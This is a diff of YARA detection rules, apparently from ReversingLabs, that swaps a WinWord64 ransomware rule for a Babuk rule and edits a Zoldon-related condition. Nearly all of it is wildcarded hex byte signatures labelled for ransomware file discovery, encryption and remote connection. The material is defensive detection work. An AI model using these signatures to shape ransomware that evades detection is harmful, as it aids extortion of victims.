+            ?? 80 B8 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0
+            74 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ??
+            ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10
+            68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 8B
+        }
+		$find_files_p2 = {
+            8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E9
+            ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? B9 ??
+            ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? E9 ?? ??
+            ?? ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D
+            55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ??
+            ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ??
+            ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
+            74 ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D
+            55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ??
+            ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ??
+            ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            85 C0 0F 84 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8B E5 5D C3
         }
 
 	condition:
-		uint32(0)==0x464C457F and ($setup_environment) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($make_configuration)
+		uint16(0)==0x5A4D and ($write_zoldon_regkey) and ( all of ($find_files_p*)) and ( all of ($main_encrypt_function_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Winword64 : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Babuk : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects WinWord64 ransomware."
+		description = "Yara rule that detects Babuk ransomware."
 		author = "ReversingLabs"
-		id = "a5f7967d-58f4-5fdd-b67f-5f5dbfec0f4b"
-		date = "2021-02-11"
-		modified = "2021-02-11"
+		id = "8a96f400-193f-5fd1-ba03-4da464345e1c"
+		date = "2021-01-26"
+		modified = "2021-01-26"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.WinWord64.yara#L1-L215"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "73d8c4f1b3bed365320b26332f1f1b49404d8e6536f3e25042f5f64e5bc09bd4"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Babuk.yara#L1-L117"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "70327b3f9d0b0505ade7ee6de6d7facf56820c7e8477bd172f738f374311144f"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -33874,201 +35546,108 @@ rule REVERSINGLABS_Win32_Ransomware_Winword64 : TC_DETECTION MALICIOUS MALWARE F
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "WinWord64"
+		tc_detection_name = "Babuk"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$remote_connection_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? A1 ?? ?? ??
-            ?? 33 DB 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ??
-            03 C1 89 9D ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? 51
-            50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 53 89 5D ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ??
-            ?? ?? ?? 53 0F 43 85 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ??
-            85 DB 0F 84 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F 43 0D
-            ?? ?? ?? ?? 03 C1 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? 51 50 51
-            8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? 0F 43 45 ?? 68 ?? ?? ?? ?? 50 53
-            FF 15 ?? ?? ?? ?? 8B 55 ?? 8B D8 89 9D ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55
-            ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ??
-            76 ?? FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? 66 89 45 ?? 85 DB 0F 84 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? B9 ?? ??
-            ?? ?? A1 ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? 03 C1 83 3D ?? ?? ?? ?? ?? B9
+		$find_files = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 50 8B
+            8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
+            83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 95 ??
+            ?? ?? ?? 83 C2 ?? 89 95 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 73 ?? 8B 85 ?? ?? ?? ?? 8B
+            0C 85 ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E9 ?? ?? ??
+            ?? E9 ?? ?? ?? ?? EB ?? 8B 45 ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ??
+            51 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 E2 ?? 74 ?? 83 7D ?? ?? 77 ?? 8B 45 ?? 83
+            C0 ?? 50 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ??
+            ?? ?? 89 85 ?? ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 83 E9 ?? 89 8D ?? ?? ?? ?? 83 BD ??
+            ?? ?? ?? ?? 7C ?? 8B 95 ?? ?? ?? ?? 0F B7 84 55 ?? ?? ?? ?? 83 F8 ?? 75 ?? 68 ?? ??
+            ?? ?? 8B 8D ?? ?? ?? ?? 8D 94 4D ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? EB ??
+            EB ?? EB ?? EB ?? EB ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ??
+            ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? 50 FF 15
         }
-		$remote_connection_p2 = {
-            0F 43 0D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D BD ??
-            ?? ?? ?? 83 BD ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F 43 BD ?? ?? ?? ?? 83
-            3D ?? ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? 03 C1 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F
-            43 0D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 85 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 57 53 FF 15 ?? ?? ??
-            ?? 8B 55 ?? 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ??
-            8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51
-            E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 88 45 ?? 8B 95 ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ??
-            ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 ??
-            FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
-            ?? ?? C6 45 ?? ?? 8D 4D ?? 83 7D ?? ?? 8B 45 ?? 0F 43 4D ?? 03 C1 83 7D ?? ?? 8D 4D
-            ?? 0F 43 4D ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ??
-            ?? 83 BD ?? ?? ?? ?? ?? 8D 4D ?? 68 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 89 85 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? B9 ?? ??
-            ?? ?? 83 3D ?? ?? ?? ?? ?? 8B 75 ?? 8B C6 0F 43 0D ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B
+		$encrypt_files_p1 = {
+            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A
+            ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD
+            ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ??
+            ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85
+            ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 8C ?? ??
+            ?? ?? 7F ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B
+            95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 52 50 E8 ?? ?? ??
+            ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 0F 57 C0 66 0F 13 85 ?? ?? ?? ?? EB ?? 8B 8D
+            ?? ?? ?? ?? 83 C1 ?? 8B 95 ?? ?? ?? ?? 83 D2 ?? 89 8D ?? ?? ?? ?? 89 95 ?? ?? ?? ??
+            83 BD ?? ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 7C ?? 83 BD ?? ?? ?? ?? ?? 0F 83 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50
         }
-		$remote_connection_p3 = {
-            55 ?? 2B C2 57 51 3B F8 77 ?? 8D 04 3A 83 FE ?? 89 45 ?? 8D 45 ?? 0F 43 45 ?? 8D 34
-            10 56 E8 ?? ?? ?? ?? 83 C4 ?? C6 04 37 ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5
-            ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 75 ?? 8B C6
-            8B BD ?? ?? ?? ?? 0F 43 CF 8B 55 ?? 2B C2 8B 9D ?? ?? ?? ?? 53 51 3B D8 77 ?? 8D 04
-            1A 83 FE ?? 89 45 ?? 8D 45 ?? 0F 43 45 ?? 8D 34 10 56 E8 ?? ?? ?? ?? 83 C4 ?? C6 04
-            1E ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B BD
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? B9 ?? ?? ?? ?? 83 3D ?? ??
-            ?? ?? ?? 8B 75 ?? 8B C6 0F 43 0D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 55 ?? 2B C2 53 51
-            3B D8 77 ?? 8D 04 1A 83 FE ?? 89 45 ?? 8D 45 ?? 0F 43 45 ?? 8D 34 10 56 E8 ?? ?? ??
-            ?? 83 C4 ?? C6 04 33 ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 53 E8
-            ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B 45 ?? 0F 43
-            D3 8B 75 ?? 2B C6 8B 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 0E 89 45 ??
-            8D 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 04 06 ??
-            EB ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8B 9D ?? ??
-            ?? ?? 83 3D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 8B
-        }
-		$remote_connection_p4 = {
-            45 ?? 8B 75 ?? 2B C6 89 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 0E 89 45
-            ?? 8D 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 04 30
-            ?? EB ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8B 95 ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B D0 83 78 ?? ?? 72 ?? 8B 10
-            8B 48 ?? 8B 45 ?? 8B 75 ?? 2B C6 89 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D
-            04 0E 89 45 ?? 8D 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4
-            ?? C6 04 30 ?? EB ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ??
-            ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ??
-            ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 ?? FF 15 ?? ?? ?? ?? 52
-            51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? BA ?? ?? ?? ?? 83 3D
-            ?? ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 8B 45 ?? 8B 75 ?? 2B C6 89 8D
-            ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 0E 89 45 ?? 8D 45 ?? 0F 43 45 ?? 03
-            F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 04 30 ?? EB ?? C6 85 ?? ?? ?? ??
-            ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 55 ?? 8B 4D ?? 0F 43
-            55 ?? 8B 45 ?? 8B 75 ?? 2B C6 89 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04
-            0E 89 45 ?? 8D 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ??
-            C6 04 30 ?? EB ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ??
-            83 3D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 8B 45 ??
-            8B 75 ?? 2B C6 89 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 31 89 45 ?? 8D
-        }
-		$remote_connection_p5 = {
-            45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 04 30 ?? EB
-            ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ??
-            ?? 85 F6 74 ?? 8B 45 ?? 8D 4D ?? 83 7D ?? ?? 6A ?? 0F 43 4D ?? 50 50 51 6A ?? FF B5
-            ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ??
-            ?? ?? ?? 51 68 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 F6 8B 35 ??
-            ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 50 FF D6 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 50 FF D6 8B
-            85 ?? ?? ?? ?? 85 C0 74 ?? 50 FF D6 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA
-            ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51
-            E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
-            C6 45 ?? ?? 83 F8 ?? 72 ?? 8D 48 ?? 8B C3 81 F9 ?? ?? ?? ?? 72 ?? 8B 5B ?? 83 C1 ??
-            2B C3 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 51 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ??
-            ?? ?? 83 F8 ?? 72 ?? 8D 48 ?? 8B C7 81 F9 ?? ?? ?? ?? 72 ?? 8B 7F ?? 83 C1 ?? 2B C7
-        }
-		$remote_connection_p6 = {
-            83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 51 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ??
-            72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83
-            F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55
-            ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ??
-            0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 33 C0 C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ??
-            42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52
-            51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ??
-            ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 ?? FF 15 ?? ?? ?? ?? 52
-            51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD
-            E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$encrypt_files_p1 = {
-            FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 55 ?? 8B 4D ?? 0F 43 55 ?? 03 CA 89 85 ?? ?? ?? ??
-            83 7D ?? ?? 8D 45 ?? 51 0F 43 45 ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83
-            7F ?? ?? 72 ?? 8B 3F 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ??
-            ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76
-            ?? FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? 83 7D ?? ?? 8D 4D ?? 66 89 85 ?? ?? ?? ?? 0F 43 4D ?? 8B 45 ?? 03 C1 C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 0F 43 4D ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B F0 83 7E ?? ?? 72 ?? 8B 36 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ??
-            ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83
-            C0 ?? 83 F8 ?? 76 ?? FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 50 6A ?? 68 ?? ?? ?? ?? 57 8B 3D ?? ??
-            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? FF D7 89 85 ?? ?? ?? ?? 83
-            F8 ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 FF
-            D7 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C9 BA
-        }
-		$encrypt_files_p2 = {
-            8D 40 ?? F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? BA ?? ??
-            ?? ?? 8B 0D ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 03 CA 89 85 ?? ?? ?? ?? 83 3D ?? ?? ??
-            ?? ?? B8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 0F 43 05 ?? ?? ?? ?? 51 50 8B CE E8 ?? ?? ??
-            ?? A1 ?? ?? ?? ?? 83 C4 ?? 33 C9 68 ?? ?? ?? ?? 6A ?? 56 66 89 0C 46 8D 85 ?? ?? ??
-            ?? 51 50 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? FF B5 ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42
-            8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ??
-            ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83
-            C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ??
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 0F 82 ?? ?? ?? ?? 8B 4D ?? 42
-            8B C1 81 FA ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ??
-            0F 86 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ??
